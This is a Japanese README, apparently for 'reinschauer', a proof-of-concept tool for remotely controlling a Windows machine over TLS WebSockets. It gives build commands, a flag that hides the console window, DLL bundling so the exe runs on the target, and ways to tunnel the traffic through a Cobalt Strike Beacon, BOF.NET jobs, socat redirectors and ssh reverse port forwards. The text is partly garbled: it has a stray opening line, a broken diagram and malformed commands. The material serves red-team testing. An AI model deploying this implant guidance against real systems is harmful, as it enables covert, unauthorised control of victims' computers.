
it is very good

Websocket経由でWindowsマシンをリモート操作するPoCです。解説記事は私のブログを参照してください。


reinschauerは生のビットマップをJPEGに変換し、結果のデータを圧縮してからネットワーク経由で送信するため、フレームサイズを削減します。
serverフォルダ内のスクリプトを使ってTLSサーバーファイルを生成するか、独自のものを使用できます。reinschauer-server -hで確認できます。+----------------------------------------------------------------------------------------+
| |
| |
| +----------------------------------------------------+ |
| |#1: Type (Binary or Text) | |
| | Binary: JPG Frame | |
| | | |
| |#2: Text | |
| | ELO (Ping) | |
| | FPS <FPS Count> | |
| | SCL <Scaler Count> | |
| | QUL <JPG Quality> | |
| | LCL X Y (Left Click + Coordinates) | |
| | RCL X Y | |
| | KEY <Char> | xxxxxx |
| xxxxx <--+----------------------------------------------------+--> xxxx xx |
| x xx Websockets via TLS xx x |
| x xxxxxx xxxxxxxxx |
| xxx x xx xx x |
| xxxxxxxx xxxxx xxxxxx |
| x xxxxx |
| xx xx |
| x xx xxx |
| xx xx x xx |
| x xx xx xxx |
| x xx x xx |
| x x xx x |
+----------------------------------------------------------------------------------------+
ビルド方法は?
>=1.18)をインストールしますsudo apt -y install libx11-dev libxcursor-dev xorg-dev libgl1-mesa-dev$ cd client && GOOS=windows GOARCH=amd64 go build
$ cd server && GOOS=linux GOARCH=amd64 go build
このリポジトリには、dotnet版のプリビルド済みスタンドアロンバージョンも含めています。自分でビルドしたい場合は、Visual Studioのプロジェクトファイルを使ってx64 Release構成をビルドしてください。自動で行われない場合は、Visual Studioを使ってプロジェクトに必要なNuGetパッケージをダウンロードしてください。ターゲットシステムにもこれらのパッケージがインストールされていない可能性が高く、その結果、ターゲット上で生成されたexeを実行する際にDLLが欠落する可能性があります。これを回避するため、このプロジェクトはILMerge.exeを自動的に呼び出し、生成されたexeと必要なライブラリをバンドルします。したがって、ターゲット上ではreinschauer-dotnet-standalone.exeという生成ファイルを使用してください。
事前に
go getが必要な場合があります。-ldflags -H=windowsguiを使うとコンソールウィンドウを無効化できます。
クライアントとサーバーはどちらですか?
clientはターゲット(Windows)マシン上で実行されます。serverコンポーネントはテスターの(Linux)マシン上で実行され、デフォルトで0.0.0.0:6969をリッスンします。GolangクライアントとC#クライアントはどちらもサーバーと互換性があります。
これはHVNC / 隠しデスクトップですか?
いいえ。ユーザーと同じデスクトップを使用します。
一部のキーやキーの組み合わせが機能しません。修正してください
|、@、§は現時点では機能しない可能性があることは認識しています。少なくとも私のドイツ語キーボードでは。修正希望です。
クライアントのCPU使用率が高すぎます
FPSの値を低くすると効果があるかもしれません。
clientとserverの間に直接接続がありません
Cobalt Strike Beaconを使ってトラフィックをトンネリングできます。
Cobalt Strikeを持っていません!
次のような
socatリダイレクタを使用してください:
socat TCP4-LISTEN:1337,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>
そして、必要なパラメータを指定してクライアントを起動するか、ハードコードしてください。
まず、BOF.NETをマニュアルに従ってセットアップします。また、bofnet_load <Path to Exe>でスタンドアロンexeをロードします。次に、Reinschauerの使用方法を決めます:
sleep 0rportfwd_local 6969 127.0.0.1 6969bofnet_job reinschauer_dotnet.BofStuff。これにより、Reinschauerは自動的にターゲットマシンの127.0.0.1:6969へ接続します。また、Beacon接続を使用するためTLSは無効になります。bofnet_jobkill <Job ID>を使用します。bofnet_job reinschauer_dotnet.BofStuff <Server IP> <Server Port> true。booleanパラメータでTLSの使用を有効にします。bofnet_jobkill <Job ID>を使用します。次に、SSHとGatewayPorts機能を使用します: sshd_configにGatewayPorts: clientspecifiedを追加し、SSHサーバーを再起動します。次に、ssh -R '0.0.0.0:8080:localhost:6969'' [...]を実行すると、ローカルポート6969が0.0.0.0:8080で利用可能になります。注意してください :)
または、サーバー上にsocatリダイレクタを設定します:
socat TCP4-LISTEN:<Server Port>,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>